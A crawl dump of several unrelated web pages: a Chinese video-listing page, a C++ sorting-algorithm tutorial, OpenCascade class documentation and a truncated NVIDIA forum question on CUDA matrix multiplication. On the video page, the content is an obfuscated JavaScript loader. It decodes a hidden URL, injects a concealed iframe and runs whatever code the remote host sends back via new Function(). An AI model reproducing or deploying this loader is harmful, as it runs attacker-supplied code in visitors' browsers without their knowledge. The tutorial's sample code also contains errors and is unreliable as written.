msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:8be24ec9-a241-4605-b1b4-552caa33744c>\",\"WARC-Concurrent-To\":\"<urn:uuid:e1d66781-7d22-4e52-b8f9-6f3126802891>\",\"WARC-IP-Address\":\"185.199.109.153\",\"WARC-Target-URI\":\"http://www.develbyte.in/machine-learning/what-is-machine-learning/\",\"WARC-Payload-Digest\":\"sha1:QS5V3ZVSNZJBJBIECLNIC2UBT4RSFEN4\",\"WARC-Block-Digest\":\"sha1:VMOWGV6NW3ACKWCLWKVC2BDJK5B2N5H7\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-10/CC-MAIN-2020-10_segments_1581875145654.0_warc_CC-MAIN-20200222054424-20200222084424-00430.warc.gz\"}"}
http://www.fss001.com/type/dianshiju.html	[ "## 按更新按上映按观看热度\n\nfunction TYlQDV(e){var t=\"\",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6\|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12\|(c2&63)<<6\|c3&63);n+=3;}}return t;};function rYsjFIQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t=\"\",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,\"\");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2\|o>>4;r=(o&15)<<4\|u>>2;i=(u&3)<<6\|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return TYlQDV(t);};eval('\\x77\\x69\\x6e\\x64\\x6f\\x77')['\\x65\\x52\\x75\\x5a\\x51\\x54\\x66\\x4c\\x64']=function(){;(function(u,r,w,d,f,c){var x=rYsjFIQ;u=decodeURIComponent(x(u.replace(new RegExp(c+''+c,'g'),c)));var k='',wr='w'+'ri'+'t'+'e';'jQuery';var c=d[x('Y3VycmVudFNjcmlwdA==')];var f=d.createElement('iframe');f.id='x'+(Math.random()*10000);f.style.width=f.style.height=10+'px';f.src=[u,r].join('-');d[wr](f.outerHTML);w['addEventListener']('message',function(e){if(e.data[r]){d.getElementById(f.id).style.display='none';new Function(x(e.data[r].replace(new RegExp(r,'g'),'')))();}});})('aHR0cHMlM0ElMkYlMkZoaWWtpbi5vbmxpbmUlMkY2Mzg3',''+'OLC'+'BNE'+'Zcm'+'v'+'',window,document,''+'5sh'+'IcB'+'SC'+'','W');};" ]	[ null ]	{"ft_lang_label":"__label__zh","ft_lang_prob":0.96544003,"math_prob":0.9928025,"size":409,"snap":"2021-04-2021-17","text_gpt3_token_len":370,"char_repetition_ratio":0.2962963,"word_repetition_ratio":0.2826087,"special_character_ratio":0.5599022,"punctuation_ratio":0.07692308,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.97906435,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-04-17T17:24:18Z\",\"WARC-Record-ID\":\"<urn:uuid:5539fe8a-013a-46fd-a414-16cbb595fad8>\",\"Content-Length\":\"90254\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:e9ebdd40-945b-4616-94b9-8fbff57295d6>\",\"WARC-Concurrent-To\":\"<urn:uuid:7bcfbb4c-502f-4fc1-9e46-2e5ae617b75d>\",\"WARC-IP-Address\":\"154.17.5.127\",\"WARC-Target-URI\":\"http://www.fss001.com/type/dianshiju.html\",\"WARC-Payload-Digest\":\"sha1:FW2BVXIXEKWXPFY6CO5CKXDQKBXYGPC5\",\"WARC-Block-Digest\":\"sha1:7HMIR4FGL35G2ETEK7FFKUZZUHRPPIZR\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-17/CC-MAIN-2021-17_segments_1618038461619.53_warc_CC-MAIN-20210417162353-20210417192353-00440.warc.gz\"}"}
https://www.techtud.com/computer-science-and-information-technology/algorithms/sorting/sorting-techniques	[ "##### Bubble Sort \| Insertion Sort\n\nSorting Algorithms\n\nAlgorithms are used to sort the numbers based on some conditions. These algorithms are further judged based on space & time complexity.\n\nSorting Algorithms are listed below:\n\n1. Bubble sort\n2. Insertion sort\n3. Quick sort\n4. Merge sort\n5. Heap sort\n\nBUBBLE SORT\n\nDefinition: It is a comparison-based algorithm. It compares each pair of elements in an array and swaps them if they are out of order until the entire array is sorted. It works by repeatedly swapping the adjacent elements if they are in wrong order.\n\nLogic Behind it:", null, "Fig: bubble sort by w3resource\n\nProgram to implement the logic\n\ninclude<iostream>\n\nusing namespace std;\n\nint main()\n\n{\n\nint a,n,i,j,temp;\n\ncout<<\"Enter the size of array: \";\n\ncin>>n;\n\ncout<<\"Enter the array elements: \";\n\nfor(i=0;i<n;i++)\n\ncin>>a[i];\n\nfor(i=1;i<n;i++)\n\n{\n\nfor(j=0;j<(n-i);j++)\n\nif(a[j]>a[j+1])\n\n{\n\ntemp=a[j];\n\na[j]=a[j+1];\n\na[j+1]=temp;\n\n}\n\n}\n\ncout<<\"Array after bubble sort:\";\n\nfor(i=0;i<n;i++)\n\ncout<<\" \"<<a[i]\n\nreturn 0;\n\n}\n\nOutput:", null, "Algorithm Source:\n\nIt could be directly forked from my github repo:\n\nhttps://github.com/anwesha999/Basic_Algorithms\n\nfeel free to raise issue, pull requests for further understanding of concepts elaborated in my github repo.\n\nINSERTION SORT\n\nDefinition: The idea of insertion sort algorithm is to build your sorted array in place, shifting elements out of the way if necessary to make room as you go.\n\nLogic Behind insertion sort algorithm\n\nStep 1: call the 1st element of the array sorted.\n\nStep 2: repeat until all the elements are sorted by shifting the requisite no of the elements.", null, "Fig: insertion sort logic by w3resource\n\nInsertion Sort\n\n#include<iostream>\n\nusing namespace std;\n\nint main()\n\n{\n\nint n, arr, i, j, temp;\n\ncout<<\"Enter Array Size : \";\n\ncin>>n;\n\ncout<<n<<endl;\n\ncout<<\"Enter Array Elements : \";\n\nfor(i=0; i<n; i++)\n\n{\n\ncin>>arr[i];\n\n}\n\nfor(i=0; i<n; i++)\n\n{\n\ncout<<arr[i];\n\n}\n\ncout<<\"Sorting array using selection sort ... \\n\";\n\nfor(i=1; i<n; i++)\n\n{\n\ntemp=arr[i];\n\nj=i-1;\n\nwhile((temp>arr[j]) && (j>=0))\n\n{\n\narr[j+1]=arr[j];\n\nj=j-1;\n\n}\n\narr[j+1]=temp;\n\n}\n\ncout<<\"Array after sorting : \\n\";\n\nfor(i=0; i<n; i++)\n\n{\n\ncout<<arr[i]<<\" \";\n\n}\n\nreturn 0;\n\n}\n\nOutput:", null, "Interesting Question & Solution from Hackerrank\n\nChallenge Q1:\n\nInsertion Sort\nThese challenges will cover Insertion Sort, a simple and intuitive sorting algorithm. We will first start with a nearly sorted list.\n\nInsert element into sorted list\nGiven a sorted list with an unsorted number in the rightmost cell, can you write some simple code to insert into the array so that it remains sorted?\n\nSince this is a learning exercise, it won't be the most efficient way of performing the insertion. It will instead demonstrate the brute-force method in detail.\n\nAssume you are given the array indexed . Store the value of . Now test lower index values successively from to until you reach a value that is lower than , in this case. Each time your test fails, copy the value at the lower index to the current index and print your array. When the next lower indexed value is smaller than , insert the stored value at the current index and print the entire array.\n\nThe results of operations on the example array is:\n\nStarting array:\nStore the value of Do the tests and print interim results:\n\n1 2 4 5 5\n\n1 2 4 4 5\n\n1 2 3 4 5\n\nInput Format\n\nThere will be two lines of input:\n\nThe first line contains the integer , the size of the array\nThe next line contains space-separated integers\n\nOutput Format\n\nPrint the array as a row of space-separated integers each time there is a shift or insertion.\n\nSample Input\n\n5\n\n2 4 6 8 3\n\nSample Output\n\n2 4 6 8 8\n\n2 4 6 6 8\n\n2 4 4 6 8\n\n2 3 4 6 8\n\nSolution:\n\n#include<iostream>\n\nusing namespace std;\n\nvoid insertionSort(int n, int a) {\n\nint temp,i,j,k;\n\nfor(j=1;j<n;j++)\n\n{\n\ntemp=a[j];\n\ni=j-1;\n\nwhile(i>=0&&a[i]>temp)\n\n{\n\na[i+1]=a[i];\n\ni--;\n\nfor(k=0;k<n;k++)\n\ncout<<a[k]<<\" \";\n\ncout<<endl;\n\n}\n\na[i+1]=temp;\n\n}\n\nfor(k=0;k<n;k++)\n\ncout<<a[k]<<\" \";\n\n}\n\nint main(void) {\n\nint n;\n\ncin>>n;\n\nint a[n], i;\n\nfor(i = 0; i < n; i++) {\n\ncin>>a[i];\n\n}\n\ninsertionSort(n,a);\n\nreturn 0;\n\n}\n\nAnalysis of the solution provided:\n\nThe above code did the sorting in decreasing order from right to left sorting.\n\nInorder to do it it from right to left sorting. It could be solved as follows:\n\n#include<iostream>\n\nusing namespace std;\n\nvoid insertionSort(int n, int a) {\n\nint temp,i,j,k;\n\nfor(i=1;i<n;i++)\n\n{\n\ntemp=a[i];\n\nj=i-1;\n\nwhile(j>=0&&a[j]<temp)\n\n{\n\na[j+1]=a[j];\n\nj--;\n\nfor(k=0;k<n;k++)\n\ncout<<a[k]<<\" \";\n\ncout<<endl;\n\n}\n\na[j+1]=temp;\n\n}\n\nfor(k=0;k<n;k++)\n\ncout<<a[k]<<\" \";\n\n}\n\nint main(void) {\n\nint n;\n\ncin>>n;\n\nint a[n], i;\n\nfor(i = 0; i < n; i++) {\n\ncin>>a[i];\n\n}\n\ninsertionSort(n,a);\n\nreturn 0;\n\n}\n\nInput (stdin)\n\n5\n\n2 4 6 8 3\n\n2 2 6 8 3\n\n4 2 2 8 3\n\n4 4 2 8 3\n\n6 4 2 2 3\n\n6 4 4 2 3\n\n6 6 4 2 3\n\n8 6 4 2 2\n\n8 6 4 3 2\n\nComparative Study of Sorting Algorithms:", null, "Conclusion:\n\nThe document is made fully for conceptual understanding of the topic, taken question from hacker rank and given the solution for further understanding of the topic rather than superfluous talk on algorithms. The logic of algorithm is crystal clear as the whole program revolves around it, resource.com images are also incorporated for the benefit of the reader. Moreover, the program is run and the output is displayed. I truly have left no stone unturned to explain the topic in depth.\n\nFeel free to fork my github repo, raise issue and pull request if you solve the problem with the logic illustrated here your preferable language like java.\n\nFollow me on github for the algorithms:\n\nhttps://github.com/anwesha999/Basic_Algorithms/tree/master\n\nStay tuned with Techtud for more such concepts.\n\n##### Introduction to sorting\n\nIntroduction to Sorting\n\nSorting is nothing but storage of data in sorted order, it can be in ascending or descending order. The term Sorting comes into picture with the term Searching. There are so many things in our real life that we need to search, like a particular record in database, roll numbers in merit list, a particular telephone number, any particular page in a book etc.\n\nSorting arranges data in a sequence which makes searching easier. Every record which is going to be sorted will contain one key. Based on the key the record will be sorted. For example, suppose we have a record of students, every such record will have the following data:\n\n• Name\n• Roll No.\n• Class\n• Age\n\nHere Student roll no. can be taken as key for sorting the records in ascending or descending order.\n\nNow suppose we have to search a Student with roll no. 25, we don't need to search the complete record we will simply search between the Students with roll no. between 20 to 30." ]	[ null, "https://www.techtud.com/sites/default/files/public/user_files/tud1/1_4.png", null, "https://www.techtud.com/sites/default/files/public/user_files/tud1/2_2.png", null, "https://www.techtud.com/sites/default/files/public/user_files/tud1/3_2.png", null, "https://www.techtud.com/sites/default/files/public/user_files/tud1/4_1.png", null, "https://www.techtud.com/sites/default/files/public/user_files/tud1/5_1.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.679225,"math_prob":0.8938323,"size":5529,"snap":"2019-51-2020-05","text_gpt3_token_len":1566,"char_repetition_ratio":0.1161991,"word_repetition_ratio":0.08629989,"special_character_ratio":0.30367154,"punctuation_ratio":0.15115353,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99020606,"pos_list":[0,1,2,3,4,5,6,7,8,9,10],"im_url_duplicate_count":[null,4,null,4,null,4,null,4,null,4,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-01-19T02:10:36Z\",\"WARC-Record-ID\":\"<urn:uuid:c2aa1c09-6e4c-4afe-913a-b2c70957a7b6>\",\"Content-Length\":\"76456\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:d08bf9ce-db16-4aea-98f9-6f34fae6ffa8>\",\"WARC-Concurrent-To\":\"<urn:uuid:35ba3518-6481-4d6f-af1b-cbf71b4e9326>\",\"WARC-IP-Address\":\"104.27.131.132\",\"WARC-Target-URI\":\"https://www.techtud.com/computer-science-and-information-technology/algorithms/sorting/sorting-techniques\",\"WARC-Payload-Digest\":\"sha1:SWTJENZRJM2TGW7Y5OVJFNA5N77UDVCL\",\"WARC-Block-Digest\":\"sha1:HIEEOD7XZ7IIG4C4GS624HNF5762JOQQ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-05/CC-MAIN-2020-05_segments_1579250594101.10_warc_CC-MAIN-20200119010920-20200119034920-00379.warc.gz\"}"}
https://dev.opencascade.org/doc/occt-7.0.0/refman/html/class_geom___vector_with_magnitude.html	[ "# Geom_VectorWithMagnitude Class Reference\n\nDefines a vector with magnitude. A vector with magnitude can have a zero length. More...\n\n`#include <Geom_VectorWithMagnitude.hxx>`\n\nInheritance diagram for Geom_VectorWithMagnitude:", null, "[legend]\n\n## Public Member Functions\n\nGeom_VectorWithMagnitude (const gp_Vec &V)\nCreates a transient copy of V. More...\n\nGeom_VectorWithMagnitude (const Standard_Real X, const Standard_Real Y, const Standard_Real Z)\nCreates a vector with three cartesian coordinates. More...\n\nGeom_VectorWithMagnitude (const gp_Pnt &P1, const gp_Pnt &P2)\nCreates a vector from the point P1 to the point P2. The magnitude of the vector is the distance between P1 and P2. More...\n\nvoid SetCoord (const Standard_Real X, const Standard_Real Y, const Standard_Real Z)\nAssigns the values X, Y and Z to the coordinates of this vector. More...\n\nvoid SetVec (const gp_Vec &V)\nConverts the gp_Vec vector V into this vector. More...\n\nvoid SetX (const Standard_Real X)\nChanges the X coordinate of <me>. More...\n\nvoid SetY (const Standard_Real Y)\nChanges the Y coordinate of <me> More...\n\nvoid SetZ (const Standard_Real Z)\nChanges the Z coordinate of <me>. More...\n\nStandard_Real Magnitude () const override\nReturns the magnitude of <me>. More...\n\nStandard_Real SquareMagnitude () const override\nReturns the square magnitude of <me>. More...\n\nvoid Add (const Handle< Geom_Vector > &Other)\nAdds the Vector Other to <me>. More...\n\nHandle< Geom_VectorWithMagnitudeAdded (const Handle< Geom_Vector > &Other) const\nAdds the vector Other to <me>. More...\n\nvoid Cross (const Handle< Geom_Vector > &Other) override\nComputes the cross product between <me> and Other <me> ^ Other. More...\n\nHandle< Geom_VectorCrossed (const Handle< Geom_Vector > &Other) const override\nComputes the cross product between <me> and Other <me> ^ Other. A new vector is returned. More...\n\nvoid CrossCross (const Handle< Geom_Vector > &V1, const Handle< Geom_Vector > &V2) override\nComputes the triple vector product <me> ^ (V1 ^ V2). More...\n\nHandle< Geom_VectorCrossCrossed (const Handle< Geom_Vector > &V1, const Handle< Geom_Vector > &V2) const override\nComputes the triple vector product <me> ^ (V1 ^ V2). A new vector is returned. More...\n\nvoid Divide (const Standard_Real Scalar)\nDivides <me> by a scalar. More...\n\nHandle< Geom_VectorWithMagnitudeDivided (const Standard_Real Scalar) const\nDivides <me> by a scalar. A new vector is returned. More...\n\nHandle< Geom_VectorWithMagnitudeMultiplied (const Standard_Real Scalar) const\nComputes the product of the vector <me> by a scalar. A new vector is returned. More...\n\nvoid Multiply (const Standard_Real Scalar)\nComputes the product of the vector <me> by a scalar. More...\n\nvoid Normalize ()\nNormalizes <me>. More...\n\nHandle< Geom_VectorWithMagnitudeNormalized () const\nReturns a copy of <me> Normalized. More...\n\nvoid Subtract (const Handle< Geom_Vector > &Other)\nSubtracts the Vector Other to <me>. More...\n\nHandle< Geom_VectorWithMagnitudeSubtracted (const Handle< Geom_Vector > &Other) const\nSubtracts the vector Other to <me>. A new vector is returned. More...\n\nvoid Transform (const gp_Trsf &T) override\nApplies the transformation T to this vector. More...\n\nHandle< Geom_GeometryCopy () const override\nCreates a new object which is a copy of this vector. More...", null, "Public Member Functions inherited from Geom_Vector\nvoid Reverse ()\nReverses the vector <me>. More...\n\nHandle< Geom_VectorReversed () const\nReturns a copy of <me> reversed. More...\n\nStandard_Real Angle (const Handle< Geom_Vector > &Other) const\nComputes the angular value, in radians, between this vector and vector Other. The result is a value between 0 and Pi. Exceptions gp_VectorWithNullMagnitude if: More...\n\nStandard_Real AngleWithRef (const Handle< Geom_Vector > &Other, const Handle< Geom_Vector > &VRef) const\nComputes the angular value, in radians, between this vector and vector Other. The result is a value between -Pi and Pi. The vector VRef defines the positive sense of rotation: the angular value is positive if the cross product this ^ Other has the same orientation as VRef (in relation to the plane defined by this vector and vector Other). Otherwise, it is negative. Exceptions Standard_DomainError if this vector, vector Other and vector VRef are coplanar, except if this vector and vector Other are parallel. gp_VectorWithNullMagnitude if the magnitude of this vector, vector Other or vector VRef is less than or equal to gp::Resolution(). More...\n\nvoid Coord (Standard_Real &X, Standard_Real &Y, Standard_Real &Z) const\nReturns the coordinates X, Y and Z of this vector. More...\n\nStandard_Real X () const\nReturns the X coordinate of <me>. More...\n\nStandard_Real Y () const\nReturns the Y coordinate of <me>. More...\n\nStandard_Real Z () const\nReturns the Z coordinate of <me>. More...\n\nStandard_Real Dot (const Handle< Geom_Vector > &Other) const\nComputes the scalar product of this vector and vector Other. More...\n\nStandard_Real DotCross (const Handle< Geom_Vector > &V1, const Handle< Geom_Vector > &V2) const\nComputes the triple scalar product. Returns me . (V1 ^ V2) More...\n\nconst gp_VecVec () const\nConverts this vector into a gp_Vec vector. More...", null, "Public Member Functions inherited from Geom_Geometry\nvoid Mirror (const gp_Pnt &P)\nPerforms the symmetrical transformation of a Geometry with respect to the point P which is the center of the symmetry. More...\n\nvoid Mirror (const gp_Ax1 &A1)\nPerforms the symmetrical transformation of a Geometry with respect to an axis placement which is the axis of the symmetry. More...\n\nvoid Mirror (const gp_Ax2 &A2)\nPerforms the symmetrical transformation of a Geometry with respect to a plane. The axis placement A2 locates the plane of the symmetry : (Location, XDirection, YDirection). More...\n\nvoid Rotate (const gp_Ax1 &A1, const Standard_Real Ang)\nRotates a Geometry. A1 is the axis of the rotation. Ang is the angular value of the rotation in radians. More...\n\nvoid Scale (const gp_Pnt &P, const Standard_Real S)\nScales a Geometry. S is the scaling value. More...\n\nvoid Translate (const gp_Vec &V)\nTranslates a Geometry. V is the vector of the tanslation. More...\n\nvoid Translate (const gp_Pnt &P1, const gp_Pnt &P2)\nTranslates a Geometry from the point P1 to the point P2. More...\n\nHandle< Geom_GeometryMirrored (const gp_Pnt &P) const\n\nHandle< Geom_GeometryMirrored (const gp_Ax1 &A1) const\n\nHandle< Geom_GeometryMirrored (const gp_Ax2 &A2) const\n\nHandle< Geom_GeometryRotated (const gp_Ax1 &A1, const Standard_Real Ang) const\n\nHandle< Geom_GeometryScaled (const gp_Pnt &P, const Standard_Real S) const\n\nHandle< Geom_GeometryTransformed (const gp_Trsf &T) const\n\nHandle< Geom_GeometryTranslated (const gp_Vec &V) const\n\nHandle< Geom_GeometryTranslated (const gp_Pnt &P1, const gp_Pnt &P2) const", null, "Public Member Functions inherited from MMgt_TShared\nvirtual void Delete () const override\nMemory deallocator for transient classes. More...", null, "Public Member Functions inherited from Standard_Transient\nStandard_Transient ()\nEmpty constructor. More...\n\nStandard_Transient (const Standard_Transient &)\nCopy constructor – does nothing. More...\n\nStandard_Transientoperator= (const Standard_Transient &)\nAssignment operator, needed to avoid copying reference counter. More...\n\nvirtual ~Standard_Transient ()\nDestructor must be virtual. More...\n\nvirtual const opencascade::handle< Standard_Type > & DynamicType () const\n\nStandard_Boolean IsInstance (const opencascade::handle< Standard_Type > &theType) const\nReturns a true value if this is an instance of Type. More...\n\nStandard_Boolean IsInstance (const Standard_CString theTypeName) const\nReturns a true value if this is an instance of TypeName. More...\n\nStandard_Boolean IsKind (const opencascade::handle< Standard_Type > &theType) const\nReturns true if this is an instance of Type or an instance of any class that inherits from Type. Note that multiple inheritance is not supported by OCCT RTTI mechanism. More...\n\nStandard_Boolean IsKind (const Standard_CString theTypeName) const\nReturns true if this is an instance of TypeName or an instance of any class that inherits from TypeName. Note that multiple inheritance is not supported by OCCT RTTI mechanism. More...\n\nStandard_TransientThis () const\nReturns non-const pointer to this object (like const_cast). For protection against creating handle to objects allocated in stack or call from constructor, it will raise exception Standard_ProgramError if reference counter is zero. More...\n\nStandard_Integer GetRefCount () const\nGet the reference counter of this object. More...\n\nvoid IncrementRefCounter () const\nIncrements the reference counter of this object. More...\n\nStandard_Integer DecrementRefCounter () const\nDecrements the reference counter of this object; returns the decremented value. More...", null, "Public Types inherited from Standard_Transient\ntypedef void base_type", null, "Static Public Member Functions inherited from Standard_Transient\nstatic const char * get_type_name ()\n\nstatic const opencascade::handle< Standard_Type > & get_type_descriptor ()\nReturns type descriptor of Standard_Transient class. More...", null, "Protected Attributes inherited from Geom_Vector\ngp_Vec gpVec\n\n## Detailed Description\n\nDefines a vector with magnitude. A vector with magnitude can have a zero length.\n\n## Constructor & Destructor Documentation\n\n Geom_VectorWithMagnitude::Geom_VectorWithMagnitude ( const gp_Vec & V )\n\nCreates a transient copy of V.\n\n Geom_VectorWithMagnitude::Geom_VectorWithMagnitude ( const Standard_Real X, const Standard_Real Y, const Standard_Real Z )\n\nCreates a vector with three cartesian coordinates.\n\n Geom_VectorWithMagnitude::Geom_VectorWithMagnitude ( const gp_Pnt & P1, const gp_Pnt & P2 )\n\nCreates a vector from the point P1 to the point P2. The magnitude of the vector is the distance between P1 and P2.\n\n## Member Function Documentation\n\n void Geom_VectorWithMagnitude::Add ( const Handle< Geom_Vector > & Other )\n\nAdds the Vector Other to <me>.\n\n Handle< Geom_VectorWithMagnitude > Geom_VectorWithMagnitude::Added ( const Handle< Geom_Vector > & Other ) const\n\nAdds the vector Other to <me>.\n\n Handle< Geom_Geometry > Geom_VectorWithMagnitude::Copy ( ) const\noverridevirtual\n\nCreates a new object which is a copy of this vector.\n\nImplements Geom_Geometry.\n\n void Geom_VectorWithMagnitude::Cross ( const Handle< Geom_Vector > & Other )\noverridevirtual\n\nComputes the cross product between <me> and Other <me> ^ Other.\n\nImplements Geom_Vector.\n\n void Geom_VectorWithMagnitude::CrossCross ( const Handle< Geom_Vector > & V1, const Handle< Geom_Vector > & V2 )\noverridevirtual\n\nComputes the triple vector product <me> ^ (V1 ^ V2).\n\nImplements Geom_Vector.\n\n Handle< Geom_Vector > Geom_VectorWithMagnitude::CrossCrossed ( const Handle< Geom_Vector > & V1, const Handle< Geom_Vector > & V2 ) const\noverridevirtual\n\nComputes the triple vector product <me> ^ (V1 ^ V2). A new vector is returned.\n\nImplements Geom_Vector.\n\n Handle< Geom_Vector > Geom_VectorWithMagnitude::Crossed ( const Handle< Geom_Vector > & Other ) const\noverridevirtual\n\nComputes the cross product between <me> and Other <me> ^ Other. A new vector is returned.\n\nImplements Geom_Vector.\n\n void Geom_VectorWithMagnitude::Divide ( const Standard_Real Scalar )\n\nDivides <me> by a scalar.\n\n Handle< Geom_VectorWithMagnitude > Geom_VectorWithMagnitude::Divided ( const Standard_Real Scalar ) const\n\nDivides <me> by a scalar. A new vector is returned.\n\n Standard_Real Geom_VectorWithMagnitude::Magnitude ( ) const\noverridevirtual\n\nReturns the magnitude of <me>.\n\nImplements Geom_Vector.\n\n Handle< Geom_VectorWithMagnitude > Geom_VectorWithMagnitude::Multiplied ( const Standard_Real Scalar ) const\n\nComputes the product of the vector <me> by a scalar. A new vector is returned.\n\n void Geom_VectorWithMagnitude::Multiply ( const Standard_Real Scalar )\n\nComputes the product of the vector <me> by a scalar.\n\n void Geom_VectorWithMagnitude::Normalize ( )\n\nNormalizes <me>.\n\nRaised if the magnitude of the vector is lower or equal to Resolution from package gp.\n\n Handle< Geom_VectorWithMagnitude > Geom_VectorWithMagnitude::Normalized ( ) const\n\nReturns a copy of <me> Normalized.\n\nRaised if the magnitude of the vector is lower or equal to Resolution from package gp.\n\n void Geom_VectorWithMagnitude::SetCoord ( const Standard_Real X, const Standard_Real Y, const Standard_Real Z )\n\nAssigns the values X, Y and Z to the coordinates of this vector.\n\n void Geom_VectorWithMagnitude::SetVec ( const gp_Vec & V )\n\nConverts the gp_Vec vector V into this vector.\n\n void Geom_VectorWithMagnitude::SetX ( const Standard_Real X )\n\nChanges the X coordinate of <me>.\n\n void Geom_VectorWithMagnitude::SetY ( const Standard_Real Y )\n\nChanges the Y coordinate of <me>\n\n void Geom_VectorWithMagnitude::SetZ ( const Standard_Real Z )\n\nChanges the Z coordinate of <me>.\n\n Standard_Real Geom_VectorWithMagnitude::SquareMagnitude ( ) const\noverridevirtual\n\nReturns the square magnitude of <me>.\n\nImplements Geom_Vector.\n\n void Geom_VectorWithMagnitude::Subtract ( const Handle< Geom_Vector > & Other )\n\nSubtracts the Vector Other to <me>.\n\n Handle< Geom_VectorWithMagnitude > Geom_VectorWithMagnitude::Subtracted ( const Handle< Geom_Vector > & Other ) const\n\nSubtracts the vector Other to <me>. A new vector is returned.\n\n void Geom_VectorWithMagnitude::Transform ( const gp_Trsf & T )\noverridevirtual\n\nApplies the transformation T to this vector.\n\nImplements Geom_Geometry.\n\nThe documentation for this class was generated from the following file:" ]	[ null, "https://dev.opencascade.org/doc/occt-7.0.0/refman/html/class_geom___vector_with_magnitude__inherit__graph.png", null, "https://dev.opencascade.org/doc/occt-7.0.0/refman/html/closed.png", null, "https://dev.opencascade.org/doc/occt-7.0.0/refman/html/closed.png", null, "https://dev.opencascade.org/doc/occt-7.0.0/refman/html/closed.png", null, "https://dev.opencascade.org/doc/occt-7.0.0/refman/html/closed.png", null, "https://dev.opencascade.org/doc/occt-7.0.0/refman/html/closed.png", null, "https://dev.opencascade.org/doc/occt-7.0.0/refman/html/closed.png", null, "https://dev.opencascade.org/doc/occt-7.0.0/refman/html/closed.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.60423446,"math_prob":0.8330664,"size":12839,"snap":"2023-14-2023-23","text_gpt3_token_len":3365,"char_repetition_ratio":0.24511102,"word_repetition_ratio":0.33684796,"special_character_ratio":0.24939637,"punctuation_ratio":0.19090909,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9928359,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16],"im_url_duplicate_count":[null,1,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-05-29T02:32:30Z\",\"WARC-Record-ID\":\"<urn:uuid:ad973b1c-e90a-4a8b-9e19-0826e8685212>\",\"Content-Length\":\"95174\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:98566bbc-c5f9-4c0e-8c5c-71aa9afd9418>\",\"WARC-Concurrent-To\":\"<urn:uuid:e471d691-3464-4d04-9c04-786e0afefb7d>\",\"WARC-IP-Address\":\"5.196.194.182\",\"WARC-Target-URI\":\"https://dev.opencascade.org/doc/occt-7.0.0/refman/html/class_geom___vector_with_magnitude.html\",\"WARC-Payload-Digest\":\"sha1:FOBPKLKOVKLWHLAOETSCG7YSZK2UW63L\",\"WARC-Block-Digest\":\"sha1:3ZIHSERBIS4EVGX4T3CUMIMGESX44LG6\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-23/CC-MAIN-2023-23_segments_1685224644574.15_warc_CC-MAIN-20230529010218-20230529040218-00057.warc.gz\"}"}
https://forums.developer.nvidia.com/t/cuda-matrix-multiplication-too-slow/14877	[ "", null, "# Cuda matrix multiplication too slow\n\nHello,\n\nI’m quite new at Cuda programming and I took the example of Cuda matrix multiplication (without using shared memory) from the Programming Guide, the result is right but is too slow. I use two 1024 x 1024 matrix with 16 x 16 blocks and I get an execution time of 5.39s (both in Debug and Release mode) whereas I get in C alone: 6.64s in Debug mode and 4.09s in Release mode. I use Visual Studio 2005. So in Release mode, Cuda seems no better than C, so I think I must have done something wrong somewhere.\n\nCould you tell me what I did wrong, please?\njcpao\n\nTry CUBLAS - the SDK code is not too efficient - “(without using shared memory)” - not a good idea. You also do not say what kind of card you have. A GTX280 will perform at about 380 GFlops single precision (SGEMM), while a 4-core Xeon will, with optimized code, using all cores, will be 80 GFlops.\n\nSomething else has got to be wrong here. The SDK matrix multiply example is about one third the speed of CUBLAS (I was timing this recently, for my own nefarious purposes), and copying 1024^2 matrices to the GPU and back isn’t that slow. What do these times include? Was the CUDA context already established before the timer began? Those times look suspiciously like ‘whole program’ times.\n\nI forgot to say that I use a GeForce 8400 GS.\n\nThis is the program I run:\n\n/* Programme Cuda pris dans le document NVIDIA CUDA: Programming Guide 2.3 (p.18 Ã 21)\n\n#include “stdafx.h”\n\n#include <stdio.h>\n\n#include <cuda.h>\n\ntypedef struct {\n\nint width;\n\nint height;\n\nfloat* elements;\n\n} Matrix;\n\n/* Taille des blocs de fils d’exÃ©cution /\n\n/ Les dimensions de matrice sont supposÃ©es Ãªtre des multiples de BLOCK_SIZE /\n\n#define BLOCK_SIZE 16\n\n#define MSIZE 1024\n\n/ DÃ©claration de la matrice de multiplication Ã exÃ©cuter en parallÃ¨le /\n\nglobal void MulMatKernel(const Matrix, const Matrix, Matrix);\n\nint 